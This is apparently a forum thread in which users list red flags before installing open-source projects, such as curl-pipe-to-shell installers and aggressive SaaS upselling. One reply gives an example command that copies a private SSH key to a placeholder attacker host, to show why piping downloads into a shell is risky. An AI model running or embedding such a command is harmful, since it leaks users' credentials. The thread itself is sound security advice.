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Have you ever found a GitHub project or anything that seemed nice and tempting to install until you dug a bit deeper?

What are some red flags that should detur anyone from installing and running something?

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[–] gera@feddit.nu 27 points 2 days ago* (last edited 2 days ago) (23 children)
  • curl | sh installation method
  • vomit-colored website, vomit-colored developer avatars, or more obvious: AGENTS.MD in the repo
  • compiling yourself is "unsupported"/"not recommended"
  • the official website aggressively advertising the company's SAAS which makes it look like their opensource software is actually paid product
  • github issues using convoluted template, instead of letting me write freeform text
[–] iceberg314@slrpnk.net 3 points 2 days ago (6 children)

Noob here, what's wrong with curl | sh installs?

[–] Escape13@slrpnk.net 3 points 1 day ago

Let’s say you curl bash something and it has ie ‘scp ~/.ssh/id_ed25519 badComputerGuy’ in it then you just uploaded your private key to the bad guys. And that’s why ssh keys should be password protected

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